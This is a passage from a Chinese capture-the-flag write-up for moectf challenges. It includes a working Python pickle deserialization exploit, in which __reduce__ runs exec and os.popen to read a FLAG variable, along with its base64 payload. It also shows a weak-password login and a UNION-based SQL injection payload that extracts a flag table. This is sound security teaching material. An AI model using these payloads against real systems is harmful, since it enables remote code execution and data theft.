43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import pickle
import base64
import uuid
class Pet:
def __init__(self, name, species) -> None:
self.name = name
self.species = species
self.uuid = uuid.uuid4()

def __repr__(self) -> str:
return f"Pet(name={self.name}, species={self.species}, uuid={self.uuid})"
class PetStore:
def __init__(self) -> None:
self.pets = []

def create_pet(self, name, species) -> None:
pet = Pet(name, species)
self.pets.append(pet)

def get_pet(self, pet_uuid) -> Pet :
for pet in self.pets:
if str(pet.uuid) == pet_uuid:
return pet
return None

def export_pet(self, pet_uuid) -> str :
pet = self.get_pet(pet_uuid)
if pet is not None:
self.pets.remove(pet)
serialized_pet = base64.b64encode(pickle.dumps(pet)).decode("utf-8")
return serialized_pet
return None

def import_pet(self, serialized_pet) -> bool:
try:
pet_data = base64.b64decode(serialized_pet)
pet = pickle.loads(pet_data)
if isinstance(pet, Pet):
for i in self.pets:
if i.uuid == pet.uuid:
return False
self.pets.append(pet)
return True
return False
except Exception:
return False

store = PetStore()

class A:
def __reduce__(self):
return (exec,("store.create_pet(__import__('os').popen('echo $FLAG').read(),1)",))

pet = A()
serialized_pet = base64.b64encode(pickle.dumps(pet)).decode("utf-8")
print(serialized_pet)
pet_data = base64.b64decode(serialized_pet)
repet=pickle.loads(pet_data)
# FLAG='moectf{StARRyM30W'"'"'s-FL@g_hA5-been_@CC3Pt3d-4CAc4c@C2c}'
print(store.pets)

得到

1
gASVWwAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIw/c3RvcmUuY3JlYXRlX3BldChfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCdlY2hvICRGTEFHJykucmVhZCgpLDEplIWUUpQu

最后flag为

1
moectf{sT4rRym3oW's-fI@G-h@S_B3eN_aCC3pt3d-ACACAc@C2d}

smbms

题目描述:

1
2
3
4
5
Sxrhhh 紧急突击 JavaWeb, 最终学有小成,按照教程做出了一个半成品 —— smbms(超市信息管理系统)。现在请你来帮忙看看哪里有安全漏洞吧。

注:本题含有附件,请下载后进行代码审计

再注:本题为了出题,修改了原项目环境,会有明显的 bug 和未完成现象,请忽略 404 之类的错误。如果出现 500 之类的错误,可以新开一个标签页,重新输入网址

弱密码登录系统

1
2
admin
1234567

联合注入得到flag

1
孙兴%' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,flag from flag limit ?,? -- 

最后flag为

1
moectf{ReadING_J4vA_S0Urce_and-InJECT-sqql-ls_6eaUTifuIll0}

文章作者: yiqing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yiqing !
  目录